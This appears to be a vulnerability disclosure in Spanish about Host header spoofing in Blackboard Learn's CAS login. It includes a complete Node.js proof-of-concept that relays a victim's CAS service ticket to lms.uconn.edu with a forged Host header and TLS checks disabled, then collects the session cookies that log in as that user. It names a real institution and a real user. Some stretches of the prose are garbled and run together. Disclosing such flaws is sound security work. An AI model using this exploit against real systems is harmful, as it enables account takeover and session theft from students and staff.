
Un módulo de autenticación dentro de Blackboard Learn es susceptible a la suplantación de la cabecera de host HTTP durante la validación del ticket de servicio del Servicio Central de Autenticación (CAS). Un ticket de servicio CAS está destinado únicamente a un servicio específico, pero Blackboard Learn no verifica correctamente que este servicio sea la instancia actual. Esto permite un ataque de phishing en el que los usuarios creen que están ingresando sus datos de inicio de sesión único para un sitio web determinado, cuando ese sitio web malicioso utiliza el ticket de servicio para autenticarse como ese usuario en una instancia de Blackboard Learn.
Un atacante configuraría attacker.example para autenticarse como otro
usuario en una instancia de Blackboard Learn en blackboard.example, que valida
tickets de servicio a través de cas.example.
Los siguientes eventos ocurren cuando un usuario visita attacker.example.
https://cas.example/cas/login?service=https%3A%2F%2Fattacker.example%2Fwebapps%2Fbb-auth-provider-cas-BB5849b9bae4172%2Fexecute%2FcasLogin%3Fcmd%3Dlogin%26authProviderId%3D_102_1%26redirectUrl%3Dhttps%253A%252F%252Fblackboard.example%252Fwebapps%252Fportal%252Fexecute%252FdefaultTab%26globalLogoutEnabled%3Dtrue&renew=truecas.example. Lo más
probable es que confíe en ella, ya que es la pantalla de inicio de sesión
estándar de su institución en un dominio de confianza. La página de inicio
de sesión dirá que se está autenticando en attacker.example.attacker.example: https://attacker.example/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleattacker.example realizará ahora una solicitud HTTP GET
contra blackboard.example utilizando el ticket de servicio
obtenido en el paso anterior. La
solicitud GET accederá a con una cabecera de host de:
: Si attacker.example es un sitio web en el que las personas de una institución
confían regularmente (p. ej., la página principal de la institución), que ese
sitio web sea comprometido significaría que la instancia de Blackboard Learn de
la institución también está razonablemente comprometida con esta vulnerabilidad.
Para evitar sospechas, attacker.example podría redirigir al usuario de vuelta
a la página de inicio de sesión de sso.example después del paso 5 y realizar
las funciones esperadas que attacker.example debía cumplir desde allí. El
usuario vería que tiene que pulsar "iniciar sesión" dos veces, pero la
redirección ocurre lo suficientemente rápido como para que el usuario no pudiera
estar seguro de haber abandonado la página de inicio de sesión y haber vuelto.
Cabe señalar que CVE-2017-18262 es distinto de esta vulnerabilidad.
CVE-2017-18262 es una vulnerabilidad en la validación de redirectTo. Esta
vulnerabilidad implica un fallo en el parámetro service de la URL enviado al
endpoint de inicio de sesión que realiza la validación.
El uso de CVE-2017-18262 para suplantar credenciales requiere configurar un
inicio de sesión de phishing que imite la apariencia de cas.example. Esta
vulnerabilidad ocurre directamente en cas.example, pero requiere que el
usuario visite inicialmente attacker.example.
Esto se probó contra lms.uconn.edu con brc15007 como usuario suplantado.
lms.uconn.edu es una instancia de Blackboard Learn administrada por Blackboard
Inc. alojada en Amazon Web Services.
index.js
const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// The koa-basic-auth module is used purely to protect this POC from being used
// by unauthorized test users.
const auth = require('koa-basic-auth')
const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`
const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'
const app = new Koa()
app.keys = [crypto.randomBytes(256)]
app.use(session(app))
app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))
const cas = FakeCas({
service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
server: CAS_SERVER
})
app.use(cas.fakeCredentialRequestor({
attackUrl: ticket =>
BLACKBOARD_INSTANCE +
VULNERABLE_ENDPOINT +
'&ticket=' + ticket
}))
app.use(async ctx => {
ctx.body = `If I was a bad person, I would use the following cookies to login as you into ${BLACKBOARD_INSTANCE}.\n\n` +
ctx.session.cookieString
ctx.session = null
})
app.listen(3000)
lib/fake-cas.js
const https = require('https')
const fetch = require('isomorphic-fetch')
function createCASMiddleware (options = {}) {
const server = options.server
const service = options.service
const loginUrl = options.login || '/cas/login'
function fakeCredentialRequestor ({ attackUrl }) {
return async (ctx, next) => {
if (!ctx.session.cookieString && !ctx.request.query.ticket) {
const returnUrl = encodeURIComponent(service(ctx))
ctx.redirect(
server + loginUrl +
'?service=' + returnUrl +
'&renew=true')
return
}
if (ctx.request.query.ticket) {
const attack = attackUrl(ctx.request.query.ticket)
const res = await fetch(attack, {
headers: { 'host': ctx.request.host },
// rejectUnauthorized is required since we're spoofing the host
// header and ctx.request.host liekly won't be in the endpoint's HTTPS
// certificate.
agent: new https.Agent({ rejectUnauthorized: false })
})
const cookieString = res.headers._headers['set-cookie']
.map(cookie => cookie.match(/^(.*?);/)[1])
.map(cookie => `document.cookie = '${cookie}'`)
.join('\n')
ctx.session.cookieString = cookieString
console.log(cookieString)
ctx.status = 308
ctx.redirect('/')
return
}
await next()
}
}
return { fakeCredentialRequestor }
}
module.exports = createCASMiddleware
package.json
{
"private": true,
"main": "index.js",
"scripts": {
"dev": "nodemon index"
},
"devDependencies": {
"nodemon": "^1.17.5",
"standard": "^11.0.1"
},
"dependencies": {
"isomorphic-fetch": "^2.2.1",
"koa": "^2.5.1",
"koa-basic-auth": "^3.0.0",
"koa-session": "^5.8.1",
"query-string": "^5.0.1",
"xml2js": "^0.4.19"
}
}
ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.exampleattacker.examplehttps://attacker.example//webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.example responderá al backend de attacker.example con
cookies que autentican al usuario objetivo en la instancia de Blackboard Learn.